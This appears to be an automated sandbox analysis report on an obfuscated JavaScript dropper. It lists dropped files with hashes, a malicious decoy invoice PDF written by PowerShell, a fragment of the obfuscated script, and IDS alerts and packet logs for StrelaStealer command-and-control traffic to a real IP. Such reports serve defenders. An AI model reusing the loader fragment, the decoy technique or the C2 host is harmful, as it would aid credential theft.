SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a4b030ff-ef54-4104-9b65-af352f63e722.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkYYIGNPsGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkYZGCGZn3mlind9i4ufFXpAXkru
MD5:	57374D3A412C81304CCE6245DC42070D
SHA1:	910B6A2BC9267748BCEA79DA5FB27D92CED5E382
SHA-256:	81F843C0BAEB361C51A32F6AE029BE73C482B224AAC61ACB515FCB0B68405158
SHA-512:	5A294C0048BFA989CEC87601A5B81333B3FF65387AC9008FB0F12AE7702366DCF414E8C972B732BAE10526820A20282CCE79D3234470C34D758912772E70F47E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d373cc78-e93f-4849-af8d-9bc250f03d14.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f4abc8e2-3b4b-4215-9da3-532f5d4acf0e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16391), with CRLF line terminators
Entropy (8bit):	4.910296756034979
TrID:
File name:	2708993316838119.js
File size:	20'051 bytes
MD5:	681d300012a2d13a076be6c2534551e5
SHA1:	0982394da688b0bb74caa6316971eed45a041045
SHA256:	fb36a80d7ad3bd707546f5f1eb6e9fa5903a35721a691f324fef4eff4674d7c6
SHA512:	f80da5bbdf303caed11000b254fa20b3f42bdfbdb99407cd5a1ceb751a69c4c46f8a135f153fb99200851c82f60b5ccf53a9bfce879c2b37dcaae46eb0166a56
SSDEEP:	384:6NO1GnrO1G7O1GHoDjCze7cQxD3XpXp23rgVWggjcBzqvT6dtRjAjYwjHJC0m3gw:6PzAcmntDxbWB9YvV
TLSH:	3B9252CC0505C12AC3EB92B5335E5C8735DF618E7EE81998D9B838110BABAA5D6F34F1
File Content Preview:	function fynsc(){ndwnl=[1031,3079,5127,4103,2055,3072];var mlfpsp=this[cenwcz+eijbk+hyvwbpy+ckxcvfyu+bmrfzqlil+rzwrklx+yfzzx+wcmnlroh](this[feune+ftqltdqb+qrzcstiol+hyvwbpy+dwpvlmf+cenwcz+wcmnlroh][nvmitcqn+hyvwbpy+bmrfzqlil+eijbk+wcmnlroh+bmrfzqlil+tcdop

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:34:49.187769+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T04:34:49.187769+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T04:34:51.772471+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:34:48.384502888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:48.389369011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:48.389477015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:48.392513990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:48.397356987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187530041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187666893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187679052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187690020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187700987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187712908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187731981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187742949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187768936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.187768936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.187819004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.187844038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187856913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.187916994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.192675114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.192687988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.192699909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.192763090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.230587006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.230607033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.230794907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.313067913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313096046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313108921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313158989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313173056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313301086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.313301086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.313359022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313397884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.313431025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313443899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313524961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.313529015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.313970089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314013958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314035892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.314100027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314115047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314177036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.314217091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314260960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.314836025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314892054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314904928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.314939976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.315032959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.315046072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.315072060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.315704107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.315716982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.315762043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.366458893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.367655993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.367716074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.367779970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.401237965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.401249886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.401329994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.403394938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.403430939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.403471947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.438488007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438544989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438580990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438625097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.438652039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438685894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438720942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438847065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.438847065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.438858986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438946009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438980103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.438999891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.439078093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439182043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.439414024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439450979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439485073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439557076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.439569950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439605951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439629078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.439646006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.439749956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.440087080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.440139055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.440191031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.440275908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.440326929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.440351009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.440351009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.440433979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.440536022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.440968037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441003084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441036940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441082954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.441180944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441212893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441246986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441260099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.441309929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441397905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.441905975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441956997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.441991091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442006111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.442034960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.442044020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442090988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442126036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442150116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.442161083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442208052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.442877054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442912102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.442948103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.443082094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.458149910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.458204985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.458213091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.458239079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.458283901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.458293915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.458303928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.458395958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.494009018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.526770115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.526829004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.526830912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.526861906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.526896000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.526932001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.526933908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.527065039 CET	49705	80	192.168.2.8	193.143.1.205
